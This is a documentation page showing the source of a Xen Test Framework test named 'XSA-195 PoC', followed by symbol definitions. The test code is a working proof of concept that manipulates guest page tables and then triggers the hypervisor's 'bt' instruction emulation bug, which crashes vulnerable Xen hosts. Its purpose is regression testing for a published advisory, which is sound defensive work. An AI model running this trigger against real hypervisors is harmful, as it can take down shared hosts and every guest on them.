Xen Test Framework
main.c
Go to the documentation of this file.
1
25#include <xtf.h>
26
27const char test_title[] = "XSA-195 PoC";
28
29static intpte_t nl3t[L3_PT_ENTRIES] __page_aligned_bss;
32
33void test_main(void)
34{
35 unsigned int i;
36 unsigned long *mem = _p((1ul << 47) - sizeof(unsigned long));
37 unsigned long idx = 0xfffd000000000000ull;
38
39 unsigned long mem_adjust = (8 + ((-idx - 1) >> 3)) & ~7;
40
41 /*
42 * linear is the memory target which the `bt` instruction will actually hit.
43 * A vulnerable Xen mis-calculates the memory adjustment, meaning that it
44 * will attempt to read from some other address.
45 */
46 unsigned long linear = _u(mem) - mem_adjust;
47
48 /*
49 * Make all of the virtual address space readable, so Xen's data fetch
50 * succeeds.
51 */
52 l1_identmap[0] = pte_from_gfn(0, PF_SYM(AD, P));
53
54 for ( i = 4; i < L3_PT_ENTRIES; ++i )
55 pae_l3_identmap[i] = pae_l3_identmap[0] & ~PF_SYM(RW);
56
57 for ( i = 1; i < L4_PT_ENTRIES; ++i )
58 pae_l4_identmap[i] = pae_l4_identmap[0] & ~PF_SYM(RW);
59
60 /* Map linear to pointing specifically to gfn 0. */
61 nl1t[l1_table_offset(linear)] = pte_from_gfn(0, PF_SYM(U, P));
62 nl2t[l2_table_offset(linear)] = pte_from_virt(nl1t, PF_SYM(U, P));
63 nl3t[l3_table_offset(linear)] = pte_from_virt(nl2t, PF_SYM(U, P));
64 pae_l4_identmap[l4_table_offset(linear)] = pte_from_virt(nl3t, PF_SYM(U, P));
65
66 /* Remove gfn 0 from the p2m, to cause `bt` to trap for emulation. */
67 static unsigned long extent = 0;
68 static struct xen_memory_reservation mr =
69 {
70 .extent_start = &extent,
71 .nr_extents = 1,
72 .domid = DOMID_SELF,
73 };
75 return xtf_failure("Failed to decrease reservation at %#lx\n", extent);
76
77 /* Poke the emulator. */
78 asm volatile ("bt %[idx], %[mem];"
79 :: [mem] "m" (*mem),
80 [idx] "r" (idx));
81
82 /* If we are still alive at this point, Xen didn't die. */
83
84 xtf_success("Success: Not vulnerable to XSA-195\n");
85}
86
87/*
88 * Local variables:
89 * mode: C
90 * c-file-style: "BSD"
91 * c-basic-offset: 4
92 * tab-width: 4
93 * indent-tabs-mode: nil
94 * End:
95 */
#define __page_aligned_bss
Definition: compiler.h:37
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
static long hypercall_memory_op(unsigned int cmd, void *arg)
Definition: hypercall.h:100
#define XENMEM_decrease_reservation
Definition: memory.h:9
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define L2_PT_ENTRIES
Definition: page.h:70
unsigned int l3_table_offset(unsigned long linear)
#define L1_PT_ENTRIES
Definition: page.h:69
unsigned int l4_table_offset(unsigned long linear)
unsigned int l2_table_offset(unsigned long linear)
unsigned long intpte_t
Definition: page.h:152
unsigned int l1_table_offset(unsigned long linear)
intpte_t pte_from_gfn(unsigned long gfn, uint64_t flags)
intpte_t pte_from_virt(const void *va, uint64_t flags)
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
unsigned long * extent_start
Definition: memory.h:13
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define DOMID_SELF
Definition: xen.h:70
static intpte_t nl2t[L2_PT_ENTRIES]
Definition: main.c:30
static intpte_t nl1t[L1_PT_ENTRIES]
Definition: main.c:31
static intpte_t nl3t[L3_PT_ENTRIES]
Definition: main.c:29